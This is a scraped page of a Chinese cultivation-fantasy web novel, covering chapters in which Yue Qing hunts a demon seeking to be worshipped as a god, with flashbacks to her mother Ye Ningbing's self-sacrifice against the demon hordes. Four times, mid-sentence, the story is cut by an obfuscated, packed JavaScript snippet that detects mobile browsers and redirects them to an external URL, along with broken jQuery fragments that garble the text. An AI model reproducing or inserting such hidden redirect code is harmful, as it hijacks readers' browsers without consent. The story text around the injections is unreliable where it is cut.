她推开朱门,正面迎上断头玄女像,石像眼中流着血泪,高坐尸山之上,明明是神,此时此刻却如鬼如魔,妖异非常,是为尸台邪神!
月情咔擦一声捏碎了朱门,门上流动的金色符文隐隐转动,随之才溃散于空中。
“月师傅——”蜻蜓急急赶到。
连绝无声抬眼,目光落过来,缓慢地观察一二,但同样没有说话。
月情沉默片刻后将那扇朱门合拢,又抬头看了眼天,大雪纷纷扬扬,是纯白色。
今天之前,批皮鬼偶有作案,小心翼翼,一直没有大的动作,可今日之时,他却一反常态,行事大胆无谓,恨不能宣扬天下。
他已经开始等不急了吗?
还是说……
她低语喃喃,“莫非我们一行去冰原寻他刺激到他了?或者……今天是什么特殊的日子?”
“今日是八月八日。”
月情闻言一滞,抬起头看过去,连绝立在不远处忽而开口道。
他对上她的目光后,沉默片刻又道:“并不特殊。”
“八月八日的确不特殊,但八这个数字特殊,”月情意识到什么,沉沉道:“七是修仙界之极数,那八又是什么?”
七是极数,修仙界的顶峰,那八就是超越顶峰的存在,而那样的存在,唯有——
蜻蜓失声道:“神!”
月情点了点头,“不错,他特意选在今日动手,是想告诉我们,他即是神。超脱于修仙界之外的神。”
蜻蜓不由打了个寒战,结结巴巴道:“这世界…上,真会有神吗?”
“是她,”一边的小圆脸忽而出声,她盯着那封在朱门后的邪神,喃喃悲痛道,“是她,一定是她,不会有错,一定…一定是她……”
叶凝冰,修仙界唯一承认是神,供其为冰天玄女的神。
小圆脸想到大家一个个死在自己身边的景象,绝望而又愤恨。
她目眦欲裂,盯着那朱门,痛苦不解,“为什么,为什么,为什么!不、不、不!!!啊啊啊!!!不要再杀了!”
凄厉的叫声在玄女庙前高旋,她悲痛而凄厉,整个人已经疯魔,指甲甚至深深陷入至天灵盖,抓得满手是血。
她恨到极点,忽而红眼,怒目而冲,破入朱门,撕心裂肺地叫喊着,要烧了这邪神庙!
月情连忙跟了进去,一把按住她,小圆脸已经失去理智,不住地挣扎嘶叫,她一咬牙,最终将人给打晕了过去。
低头看,这个圆圆脸的少女看起来不过十三十四岁,声嘶力竭地遭此大劫,整个人像被抽了二十年的命,瘫软在她怀里时甚至没有任何的分量。
月情捏着袖子擦干净她身上的血,心口则压上了一块重石。
除了这些,她也不知道还能够做什么。
……
她抱着她出来,身前则多出一道紫色的身影。
月情抬目,连绝的目光过了一眼附近的血池,以及那高坐尸台的玄女石头,道:“游玩?”
“的确是游玩,但看起来出了点意外。”月情干噎地道。
连绝自然不会信,但他并没有多问,眉心微蹙,瞧了眼那血池,最后不适地移开。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15005883|160926||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
片刻后,他道:“不会有神。”
他看向天空,那一望无际的蔚蓝,滚滚而过的白云,以及正中央高悬的赤日。
“但有天道。”
月情闻言后喃喃重复,“天道?”
“嗯,”连绝淡淡地点了下头,又道:“世间既然无神,那他不过是一弄虚作假之物。”
“是他自以为……”月情顺着他的意思往下捋,又道:“而神明需要什么?供奉与朝拜。所以它杀人并非是为了修养元气,而是让天下人对它产生恐惧,对八产生敬畏,最后拜服于它。”
她确信于此,又深深道:“不论他想做什么,杀了什么人,只此一条,我们自己不能先乱了阵脚,不能惧了怕了他。”
而这时,怀里的小圆脸痛苦地低吟了一声,月情低头轻轻揉了揉她的眉心,心口的气落不下去,“回那个酒肆看一眼。”
她心中担忧,极其害怕再一开门,酒肆里也是一地的血水与尸体。
但好在,其中并未出现异样。
再度开门时,里面仍旧与昨天所见一模一样,围围挤挤地靠在一起,其间甚至泛着酒香气与糕点的甜香。
一度精神紧绷的几人见此一幕,瞬间放松下来,而紧随着放松的,是疲惫。
酒肆里几乎没有空房间,掌柜的给他们腾了个小的厢房,月情将小圆脸暂且安置在了其中。
出门来,蜻蜓正和已经变回来的风宁在等她。
“此地不宜久留。”风宁开口就语气严肃。
月情还是第一次见他神色端正,语气危险的模样,一怔,“怎么?”
风宁道:“这只恶鬼我们处理不了。”
他笃定异常,神色发沉发暗,“大王已经下意识不愿去插手了,我们也赶紧撤吧。”
月情愣了下,惑道:“下意识?”
风宁点了点头,与他们细细道:“那不灭金仙就是大王的念力之一,所谓的不破不灭,即是他保护自己的根本。所以,他一定是潜意识中觉察到了极度的危险,不然不灭金仙不会强行阻止他。”
月情闻言有些惊讶,所以…不灭金仙其实是连绝藏在心底最深处的保护锁?
蜻蜓闻言焦急道:“那我们赶紧走,别耽搁了,再不走就要死翘翘了!”
他说着转头就跑,月情立马擒住他的手,道:“忘记我说的了吗?不能怕,也不能惧。”
“月师傅,”蜻蜓挣扎开她的手,道:“现在都什么时候了,大王都下意识自保了,我们这群小喽啰,赶紧撤才是上上选。”
“放心,他暂时不会动到你头上的,”月情笃定道。
“仔细想想,那位恶鬼至今为止一位修士都未出手过,还记得大王说过吗?他受了很重的伤,我想,他还未恢复元气,如今制造出这么大的动静,这说明他很着急,急着杀人养伤,急着造势,是为神的势。”
风宁闻言盯向她,目光逐渐兴奋起来,“所以,你的意思是——”
月情点头,道:“所以,我们必须在他未完全恢复之前,一举杀了他!”
42. 见悲欢(十二)
“…”蜻蜓被她几个大字震得半晌没说话的,他晕乎乎地,好半晌,才咽着口水道:“月…月师傅,你,你真的不是修仙界人士,不知道化羽境界究竟有多厉害,化羽境…他就算伤重势弱,灭我们也只需要…一个抬眼而已…我们怎么可能,可能战胜……”
风宁抱住凝光,竟然罕见地没有大声反驳以及吹捧自己。
他承认了自己在化羽境面前抬眼可灭,可见一般。
月情却道:“正因如此,才显得他不可怕。”
见面前二者都看着她,她细细回想着这一两天发生的事,不,应该来说是卢嘉城近一个月来的事。
她道:“除开今天外,批皮鬼这一个月内一共杀害了八个人,义庄内是五具尸体,李香香一个,天魂一个,还有苏洛然昨天去追查的东南方一个。八,又是八,他明显在执念于这个数字,追求自己超脱于修仙界的境界,自诩为神,是凌驾所有人之上的存在。”
“但是,正如你所言,如此能耐的恶鬼将会有通天的本事,想要杀谁轻而易举,一如今天的城外草屋以及玄女庙。”月情继续道:“可是万剑宗的修士,我们都安然无恙。倘若说是因为他伤重势弱奈何不了我们,那这酒肆里的民众呢?”
她轻抚着下巴,若有所思,“神是无言民众的供奉与朝拜的,如若世间真的有神,那神的力量一定来自于信徒的信仰之力。所以我猜,他的目的从来不是杀人,只是因为杀人可以恢复元气而不得不做,他真的目的,其实是想将所有人都扭转为他的信徒。”
“信徒?”蜻蜓皱紧了眉,又咬牙怒道,“谁会去信仰一尊四处杀人的邪神?!”
“邪神…邪神……”月情默默念着这两个字,道:“不错,的确是一尊邪神。”
“供奉正神需要立殿朝拜,祭祀焚香,而如若是供养一尊邪神,那会需要什么?”
蜻蜓道:“无非是一些歪门邪道的东西。”
月情没出声,若有所思。
这恶鬼立志要做邪神,为此劳心劳力谋划了一个月,他铺垫如此之久,又小心翼翼,定然不会简单收手。
而今他突然一反常态,行事嚣张而毫无避讳,这说明,他对于他所谋划之事至少有了九成把握。
“月晚——”
酒肆的门被推开,闫星逐与柳篾花相继进入,他们二者的神色并不好看,对于卢嘉城所遇之事心感复杂,不过,这却不是他们最关心的事。
“小师叔,柳姨,”月情抬起头,连忙应了句。
闫星逐目光下落,缓缓停落在她随手挂至腰间的封灵玉上,嘴唇翕动,欲言又止。
柳篾花微垂眸,片刻后又低声道:“你直说吧。”
闫星逐闻言却拧起了眉,一双眼睛盯着月情,却迟迟不肯开口,难言至极。
月情不解,道:“小师叔,你有什么话要同我说?”
闫星逐张开口,却突然摆头,想要离开,道:“算了,不提也罢。”
柳篾花未动,若水琉璃一般的眼睛倒映着眼前少女的面容。
她轻声所言,语气淡淡忧伤,“他觉得那只被你封入封灵玉的游魂是…叶仙首。”
一句话毕,声音清落,飘飘坠地,毫无分量,却像一颗颗大石一样往人心头砸。
那游魂矮小、佝偻、苍老、病态,怎么可能是一十六年前仙道魁首的叶凝冰?!
少宗主不愿相信,呆呆失声。
月情也怔在原地,许久,才扶起腰间的封灵玉,看着上面的宝石花纹,哑然许久,“叶…凝冰?”
闫星逐挣扎着道:“兴许…是我认错了……”
“你的确认错了,”柳篾花静静道。
她轻声说,“叶凝冰从不会哭,不论遇到什么,她总是最洒脱,永远都是超然的姿态。正如她自己所言,能上就上,上不了就跑,大不了往地上一躺,一死百了。”
闫星逐闻言失声,眼中划过许多情绪,他其实已经记不太清记忆中那个女人的音容笑貌。
但他记得,她总是着一身洗得发白的青衣,戴着一破烂的斗笠,浪荡不羁地靠坐在树干上,晃着酒壶,嘻嘻笑道:“小星子,练剑呢,不要一板一眼,随心才好,随心才佳嘛。”
那时候他师从月如金,对于师傅带回来的朋友,这位无名散修叶凝冰十分不耐。
因为每次他练剑修行时,这位游手好闲的人士就会大咧咧往那一坐,碎嘴子地指手画脚,还特别喜欢给人算命,拿着一张破破烂烂的神仙幡,遇人就招呼上,“算姻缘,算财运,算修行,不准不要钱~”
最后端详他一二,却幽幽叹道:“小星子,我给你算了一卦,你居然是个天煞孤星的命,这辈子都不可能有道侣了,惨,太惨了!晚年不保啊。”
闫星逐冷哼一声,他那时候深深地觉得,不论他自己往后能否有道侣,是否晚年不保,但叶凝冰这个女人绝对不会有。
然而一年后他就被狠狠打脸,最不待见的人居然还成了每天都要敬茶的师娘,这绝对是他一辈子都无法磨灭的心理创伤。
而她也的确没有晚年不保。
……
“晚晚,你总是喜欢冲到最前面,不论有什么危险都置之不理,这一点,和她真的很像。不过和你的莽撞不同,她总是会想最省事的办法,平日里偷懒,斩妖除魔也偷懒,一律割手以血饲妖,聚而斩之……”
说着,柳篾花伤感地笑了一下,眼中浮现出那人的影子,又轻声说:“只是,只是…那游魂不会是她,但的确是像她的,她也喜欢穿青衣,喜欢戴斗笠,她说,这像故事中逍遥天地的侠客——桃花客。”
月情转动了下眼眸,半晌没吭声。
割手以血饲妖,聚而斩之——
她回想起那老婆婆不住重复地那个动作,以及她所言能令雪停的话与那深深的执念。
是她吗?
会是她吗?
月情心若擂鼓,上前一步,又惊而瑟缩地退了回来。
如若是她,又让人如何接受。
如若不是她,为何又如此地了解叶凝冰且深深执念于雪停。
她哑然,双手轻捧,捧着那封灵玉。
月情迟疑地抬起眼
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15012469|160926||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,漂浮在空中的少宗主已经定在原地,像被这三个字贯穿了心神,动弹不得。
她沉默片刻后又问道:“柳姨,我娘…她,是个什么样的人?”
柳篾花恍然一瞬。
与叶凝冰初见是多久以前的事了?十几年,二十多年了吧,但明明已经过去许久,她竟然仍旧深深记得那一刻。
叶凝冰实在不像个修士,叼着根狗尾巴草,手里掂着一葫芦酒,潇洒而没正形,手持着那神仙幡,真与那些江湖骗子如出一辙。
而撩起轻纱,却是一张明丽清冷的美人脸,莞尔一笑,又如阳春化雪,盈盈而声如冰泉石下流,且道:“这位便是柳师妹,果然百闻不如一见,当真是惊世之美人。”
柳篾花有些怅然,回忆着那已经十分久远的过去。
那时候,她便已经知道月如金与叶凝冰结为了道侣,所以心中是不甘与充斥着怨气的,她以为会因此而苦许久,也会怨她许久,却没想到,如今记得的只有她阳春化雪的明丽笑容了。
人走后,先忘记的一定是缺点。
柳篾花想,一定是她离去的时间太久远,模模糊糊地,她只记得她的好了。
真犯规,她明明是很讨厌她的,尤其讨厌她叫她小花儿。
她和她从来都不熟。
从来都不。
“她是一个…很好的人,”柳篾花看着那双记忆中熟悉的眼睛,想微微而笑,牵起的嘴角却无比苦涩,“我想,这世间不会有比她再好的人。”
月情道:“柳姨,小师叔,这卢嘉城里有一玄女庙,所供冰天玄女,正是…我娘。可他人却道她能登仙首是偷了净月宗的一枚宝丹,甚至还夺走了…我爹的仙盟盟主之位……”
“你说什么?!”闫星逐语气骤变,神色一厉,“谁说的?”
月情见他反应,心下了然,哑声道:“众人。”
闫星逐怒气冲冲,握紧拳,差点咬碎了一口牙,“一群不识好歹的白眼狼!”
“所以,她是自己修炼至化羽境的。”
“除了自我修炼还能有什么狗屁宝丹,”闫星逐恶声怒骂,忿忿至极点,“有那宝丹不吃还留着给人盗?什么人臆想出来的,他以为我们净月宗的人是傻子吗?!”
“还有,仙盟盟主之位、仙盟盟主之位!”他怒声,又止不住地悲伤痛声,“那是什么很稀罕的东西吗?那时那景,妖族已经杀至长桑海,谁做仙盟盟主谁就第一个死!”
而十六年前长虹桥一别,打伤月如金,碎裂长明剑——那是、那是他们所见的最后一面,最后一面啊!
十六年前的事的确已经成为了历史,妖族所造成的伤痛的确翻了过去,再无人在意,再无人铭记。
众人只看得见铺天盖地的大雪,凿不完的冰,堆积如山的小事,细密而似针扎的苦。
但叶凝冰真为此陨身了,她永远都不会回来了。
叫他小星子,指点他修行,嬉皮笑脸逗他敬师茶,活生生的叶凝冰永远都不会回来了。
而这一次的伤痛,刻苦铭心的伤痛,有谁在乎,有谁在意?
43. 见悲欢(十三)
“这些事情…我们没有和你仔细说过,”柳篾花看着她,语气艰涩,眼珠缓缓落在她身后的风宁与蜻蜓身上,最后苦笑了一声。
“本不该如此……”她喃喃自语道。
闫星逐也似乎想到了什么,面沉如水,一把擒住月情的手腕,将她从二鬼中间扯了过来。
“月晚,今天你必须跟我们回去。”
风宁闻言扯唇嗤笑了一声,抱胸未言。
蜻蜓则目光闪烁,隐隐有所感,上前一步想要说话,却被闫星逐凌厉的目光给吓至缩了回去。
“怎么,听闻此地恶鬼吓到屁滚尿流要回净月宗了?”风宁弯眼笑着,一手缠着胸前的长发,骤然语气泠然道,“没关系,我们见云山可不会怕,滚吧。”
闫星逐冷哼一声,“你们当然不会怕,这件事十之八九就是你们自己自导自演。”
风宁冷笑,“你真该庆幸不是我自导自演,否则我第一个就杀了你。”
闫星逐怒目,“你——”
月情拉住了他,道:“小师叔,的确与他们无关。而且,你知道的,风宁他是无伤阁阁主。”
闫星逐嗤笑一声,道:“纵然他是又如何,月晚,我直言告诉你,你娘也是被他们害死的!”
月情见他不像说笑,又回头去看蜻蜓,后者对上她的视线,却支支吾吾第一时间没出言。
她想起第一天来到卢嘉城时蜻蜓偷眼瞥向连绝的反应,心下一沉。
她微微吸气,问道:“不是因为妖族吗?”
“有因才有果,如若不是连绝出世,杀了修仙界大半的修士,怎么会给妖族可乘之机?!”闫星逐冷道。
他眼周红肿,双拳紧握,愤恨难当。
一切的一切的悲痛,都是因由一个人。
天下共敌——鬼王连绝。
他出世那一年,被称为新历元年。
已有七十七年矣。
可那一夜的创伤甚至遗留至今。
他不仅仅是屠灭上三宗,踏破七七四十九云天,他所伤害的,是修仙界中的每一个人。
光明永远停于此刻,之后的每一年,都是总不会天明的无边暗夜。
而修仙界所可依仗的未来已如昙花夜盛,凋零碾落,沉余落埃。
这是一个没有希望的世界。
而雪上加霜的是,一直被人族压制的妖族闻此事后开始蠢蠢欲动。
岌岌可危之下,仅存的修士团结一心,推举玉蟾宫宫主陆无伤为仙盟盟主,守护长桑海,以一己之力镇定群妖。
——哪怕没有希望,也要创造希望。
暗夜中的人仍旧不肯放弃,他们坚信只要再坚持,等待时日,年轻人成长开来,修仙界即使未必能有巅峰之力,但也不至于日日夜夜如芒刺背、提心吊胆。
但屋漏偏逢连夜雨,当时陆无伤最看好的弟子,被喻为年轻一辈最优秀的弟子——阿宁竟一时不察道毁人亡,猝而早逝。
他离开时才二十四岁,正当年,风华正茂。
却下场凄凉,死不肯瞑目。
陆无伤是亲眼所见自己最疼爱的弟子丧命当场,整个人犹如雷击,心口震荡,猛地吐出口血来。
一息白头,他仿佛老了二三十岁,昏黄的眼珠里流下浑浊的泪,那一刻,他悲痛地明白过来,道心已损,修为倒退,终是——无力回天。
“无伤,无伤,愿天下无伤……终是我陆无伤,因私情而负了天下。”
他含着血,苦涩地抬头看向东方。
黑云滚滚压境,暴风雨即将来临。
那是修仙界至暗的时刻。
长夜难明,深海难净。
无数从那个时代活下来的人至今都能听到妖风的厉啸,那是刻入骨子里的惊悸。
只见千里修坟,只闻万里哭丧。
而所到之处,无一不哀鸿遍野,无一不疮痍弥目。
死的死,伤的伤。
尸首埋不完,血水清不净。
无伤,终不能无伤。
而付出了如此惨重的代价,却只让修仙界平和了三十九年。
而彼时的月如金正是此番大战之后,被众人推举出来,唯一能主持大局的修仙盟盟主。
面对妖族的卷土重来,他很平静,也心知自己的结局。
唯一想到了三十九年前父母离开净月宗的那一夜,寂静、沉重、痛苦,他看见了他们眼中的不舍,可天亮时,屋里还是空荡荡地只剩下了他一个人。
他们再也没有回来过。
若说要有遗憾,唯一是那个木头小几上的蜡烛太暗了些。
长夜里,烛火微弱,不曾照亮父母的眉梢眼角,令他未能仔细地看看他们是什么表情。
是在笑,还是在哭,或者只是在看他。
只是遗憾,那蜡烛黯淡,纵然是他们离开的背影,它也不曾照亮。
许是,受潮了吧。
月如金垂眼静静地想,大概人活在世上都有宿命。
三十九年前,父母做到了,而如今,该轮到他了。
只是,
偏偏是今天,
偏偏是今天——
偏偏是晚晚出生的第三天。
偏偏是他们的女儿,刚刚…出生的第三天。
……
长久的静默中。
殿外却忽而传来一道清亮的声音,笑盈盈一如初见,“除魔卫道,斩妖破鬼,无所不能,无所不会,不打折、不议价,只要五文钱!”
哐啷一声,是长明剑重重砸落在地上的声音。
月如金的心如一幽深的湖水,猛然间掀起滔天巨浪。
他夺门而出,殿外,叶凝冰脚尖踩在石柱上,背后是她招牌的八仙幡,手中是她最喜欢的桃花酒,莞尔瞧他道:“月盟主,是你也不打折哦。”
“你来这里做什么,”他头一次失控,额角青筋爆起,红眼怒声道,“修仙盟禁止外人进入!”
其余一直等在偏殿的修士闻声而出,见到对峙的两人,以及愤怒的月如金,一时间震惊不已。
桃花客与修仙盟主的爱情游记,这十年已经传遍了,不过大家还是第一次见到传说中的桃花客。
听说她才刚刚生产完,就敢擅闯修仙盟,提酒独立石柱上,不愧是天下第一潇洒不羁的散修。
而月如金,他平时一向温善,虽然修为高超,地位高超,但从不认为自己高高在上,也从不摆脸色。
这也是大家第一次看见他表情狰狞、失控,如此地愤怒。
但想到如今的情形,众人也都不必明说,垂下了头,无声中,是寂静的寥落与悲伤。
月如金咬字,声声泣血道:“叶
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15020098|160926||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
凝冰,你给我回去!”
“我若不从呢?”叶凝冰长笑一声,从石柱上轻盈落地,道:“我们相识十年,阿金,你从来都管不住我。”
月如金面沉如水。
他浑身颤抖,根本无法冷静与理智。
他知道叶凝冰的意思,但他绝不会答应,绝不会——
“凝冰,不要再胡闹了,我求你,”月如金哽咽了一声,握住她泛凉的手指,剜心一般痛苦,“求你…回去。”
叶凝冰望着他,二人久久对立,这其间有长达十年的时光,一分一秒,都弥足珍贵。
她想再多看看他。
语气也渐渐温柔下来,轻声问,“那你呢?”
他轻轻垂眸,眼底湿意重重,沉默半晌,哑声道:“对不起,但…我别无选择。”
叶凝冰倏尔握紧他的手,“你有。”
月如金无力反抗,眼神苍茫晦暗。
如何能有,如何能有?
他艰涩道:“我不死,天下万万人就会死。”
叶凝冰沉默。
两个人都不再说话,他们手握着手,紧紧相贴,分不开,掰不断。
眼泪却一滴一滴往下掉,打湿了手心,冷得发颤、发抖,两只手,无力地往下坠,重重地坠。
坠无可坠,即将落开——
月如金又握紧了手,他用两只手握住了她冰冷的手,试图去捂热,“我是修仙盟盟主,我不可能退至大家身后。凝冰,我唯一的私心,就是你与晚晚,我只求你们平安,与那万万人一起……”
叶凝冰眨了下亮晶晶的眼,光顺着她的脸颊滑下,她别开了,又动了动唇。
“我有一计,可以让天下太平,除我之外,再无伤亡。”
月如金呆在原地,心脏猛烈地跳动起来,语气惊颤急促,“叶凝冰,你不能,你不能——”
她打断他,一字一句,定定道:“我能。”
“你不能,”月如金的声音更沉更重,他道:“修仙界没有一个人可以击退万妖,当初的陆老宫主不能,我不能,你也不能。”
他又道:“不必再说了,不必再说了,我现在就送你回去!”
叶凝冰看着他焦急失态,冰冷的唇齿中吐出两个字,她重复道,“我能。”
她静静立在那里,山巅的寒风凛冽而过,她长发飘扬,冰眸锐眼。
一刹那,冰蓝色剑影直劈天际,冷雾彻骨人心,寒意至天降,一叶凝冰。
化羽巅峰境!
她平静道:“唯有我能。”
大道仙首,一步成神,真正的半神境。
如若她做不到,再不会有另一人能做到。
至此一剑,仙首已定。
叶凝冰长发飘扬,寒气凛人,她手持长剑寒烟,宣声而扬,“修仙盟以强者为尊,而我为当世最强,从今往后,修仙盟盟主将会是我叶凝冰。”
她彻底松开了月如金的手,语气决绝,“而第一件事,逐月如金,从此以往,天下修仙诸事烦扰,与他再无相干!”
月如金如游魂惊怔,面色惨白如纸,双手发抖,绝望地看着她,无力地阻拦,道:“不……”
但叶凝冰没有看他,再没有看他一眼。
她声音清脆,如极寒冰晶。
“而第二件事,赴长桑海,退群妖!”
44. 见悲欢(十四)
对于再次出现化羽境,整个修仙界都为之一振。
若说此次大战此前唯有三分胜算,而今因有叶凝冰,这胜算便一下至九成。
众人都松了一口气,一颗心落在原地。
唯有一人,擅闯仙盟,对仙首是为大不敬,拉拉扯扯,痛哭流涕,百般阻扰,千般挽留,万般伤心。
但叶凝冰并没有受其影响。
派人将他从仙盟轰了出去,又严令禁止无关人等入内。
——除我之外,再无伤亡。
这是叶凝冰的原话。
次日,她即当真一人前往长桑海,只身赴敌。
所言不假,所行同样不假。
而所去长桑海,必须经过卢嘉城。
十年前,她来过这里,最是迷恋此地的桃花酒,常常还托人寄到净月宗一醉方休。
而时隔十年再次回到这里,她却已经有些想不起当时模样,觉得处处陌生。
唯有长虹桥一如当初。
叶凝冰看着风景,她依稀记得那桃花树旁正是自己当年摆摊卖艺的风水宝地。
而也是在这里,她第一次见到了月如金。
彼时的他仪表堂堂,行腰佩剑,风姿绰约,一袭银白华衣,端的是世家公子之仪,一出现,就吸引了所有人的眼光。
包括面前要请她去除妖的老婆婆。
老婆婆叫他道,“公子,公子,我家里出了个小妖,能否请你帮忙……”
叶凝冰:“?”
“诶——婆婆,你不要看他啊,你瞧瞧他那身派头,若是请他捉妖起码这个数,”叶凝冰用手比了个十,又深深恐吓道:“还是灵石,”说着又拍拍胸膛,“不像我,物美价廉,童叟无欺,只要五文钱,包给你剑到邪无。”
话落,那俊俏的白衣修士却轻笑一声,温温柔柔却语如寒冰,“我此行下山历练,斩妖除魔,分文不取。”
叶凝冰顿时垮起张批脸。
她眼珠一转,又咳嗽着上前糊弄他道:“这位同行,你怕是不知道吧,今年仙盟盟主月如金可是下了规矩的,所谓修士斩妖除魔,至少得收五文钱,不然一律被视作扰乱行价,统统上修仙界黑名单。”
白衣修士不知在想什么,眼中笑意更深了些许,“哦,我怎么从未听说过这一消息?”
“这你就不知道了吧,”叶凝冰煞有其事道:“此乃新定下的规矩,还未全部放出,而我与月如金是多年的至交好友,是以,才提前知了。”
他瞧着她,忽而勾唇一笑,“我竟不知自己何时有了你这样的至交好友。”
叶凝冰唇边的笑意逐渐僵滞,她停顿一刻,当下手持住自己的神仙幡,卷起地摊拔腿就跑。
因为太匆匆,唯一一个装了些酒的葫芦还不小心砸碎了。
诸事不顺。
叶凝冰欲哭无泪。
却又嗅到街边卖酒的小店,肚子里的馋虫瞬间被勾出,但掏掏荷包,居然只剩下三个铜板!
她如遭雷劈,这是天要亡我!
长叹一声,叶凝冰又马不停蹄地去接委托。
好不容易在海港找了一单清理海妖的委托,那群人却眼尖地看见了从码头路过的月如金,见她如绿林草莽,见他如琢玉公子,立即高下立判,舍了她要请月如金来捉妖。
叶凝冰:“……”
以貌取人是不对的!
“我们其实是一路的,”她赶紧上前一步抢着说话,又小声与他打商量,“这样,待会儿的报酬你三我二,”见他笑笑不语,她啧了声,急道,“你四我一,不能再低了!”
月如金还是不语,她暗暗道此人真乃贪得无厌,头皮微微发麻,心下一横,道:“好好好,这单我一文不取,就当是为之前的冒犯赔罪了。不过我得提前说好,下次咱们还是得五五分账。”
他看着她壮士断腕般的表情,不由偷笑了声,却故意道,“我说过,我此行下山是为行侠仗义,一律分文不取。”
叶凝冰想抓头发,她长叹一声,叹自己命苦,又惨惨道:“好吧好吧,分文不取,分文不取,你是盟主,我听你的就是了。”
海妖修为并不高,但清理起来很麻烦。
二人跟着渔民一道上船,看着远处海波荡漾,翻来涌去,叶凝冰又忍不住偏头问:“月盟主,不知你打算用什么办法清除海妖?”
月如金道:“强杀。”
以他的修为,甚至无须拔剑,顷刻就能将一片海域的海妖清除干净。
叶凝冰却起身迎风而笑,“强杀虽然厉害,但或许会有漏网之鱼,我有一计,可让它们乖乖送上门来,一个都跑不掉。”
月如金看向她。
叶凝冰得意一笑,取剑割开手心。
精粹的灵血滴滴落入海中,须臾,风平浪静的海面下有了动静,片刻钟,已经围聚出一大片阴影。
月如金皱眉道:“以灵血饲妖物,太过铤而走险,极易反噬,不可用。”
叶凝冰笑道:“若是旁人的确要掂量一二分,不过我道心之坚,可比磐石——”
说着,她扬声道:“月如金,动手!”
他拨动手指,铮鸣一声,凛冽剑光如长夜弯月钩,海上风浪、海底妖魔,顷刻一秒,化为无物。
静——
叶凝冰瞧着澄净海水,眼中流露出欣赏,真心实意地称赞他道:“不愧为新历后最年轻有为的月盟主,厉害。”
他停顿片刻,从乾坤袋中取出一瓶丹药,目光落在她的手心处。
叶凝冰见此随意拆了一根布料缠住手心,道:“多谢,但不必。”
月如金顿了顿,又将灵丹收了回去。
两人坐在渔船的船尾,此刻风平浪静,叶凝冰靠在船际,斗笠上的轻纱微微飘扬。
他忽而开口道:“你叫什么名字?”
她回头过来,笑着抱拳,“一叶知秋的叶,露水凝冰的凝冰。”
——叶凝冰。
月如金轻轻念了念这名字,看着她大大方方的笑,不由静静地想,一点都不像她。
上岸后,叶凝冰重新收拾好自己东西,看着碎了半边的葫芦凄凄惨惨地打算找个地方埋了。
正要走,却被叫住。
月如金递来五文钱,道:“你的报酬。”
叶凝冰一顿,“诶?”
他又笑了笑,温声道:“你我分账,我一文不取。”
叶凝冰这才明白过来,看着他的眸光发亮,笑笑后收钱,抬手一抛,看着天空中翻转的铜板,勾唇道:“月盟主可听说过最近兴起的天上大明处,桃源酒花香?”
月如金摇了摇头,“从未听说过。”
叶凝冰莞尔,接住铜板,笑意吟吟道:“那你可算是碰对人了,我即是这赫赫有名的桃花客。且听我慢慢与你道来。”
她走在前面,回头示意他跟上,笑道:“走呀,月盟主,我请你去喝桃
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15024985|160926||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
花酒。”
他微微一笑,抬步靠近,逐渐与她并行。
而这一行,就是十年。
桃花客与修仙盟主的故事已经讲完,终至尾声,再不赘述。
但时间仍在流动,世事变迁,什么都变了,但长虹桥未变,春天未变,路边桃花树也未变。
叶凝冰想,兴许是她变了、老了,再也没有当初那轻松、乐观的心态了。
她微微垂下目光,看见了河中倒映着自己的模糊影子,难得漫无目的地空想。
…其实这十年于她而言并不算很长,她很早之前就习惯了一个人,并且过得很好。
但如今却不知道怎么了,离开他们才一天,竟还真有些不适应了。
如此细细想来,她真的快忘记了,自己一个人行走于这世间的种种。
那久远的仿佛是上个世纪般,其实也不过十年尔尔。
……
河中小鱼游动,惊开水波微澜,她的影子化为绿水,而头顶的细碎的云也被搅散。
两种颜色,两种倒影,两个靠近又远离的人。
叶凝冰长久地没有说话。
她垂眸,回过头来。
他抱着尚且还在襁褓中的月晚,双眼红肿,整个人如失了魂一般,难得形容不整,冠发不束,披头散发地站在她身后,无声痛哭。
他咽下哭腔,哑声求她,“别走,不要走……”
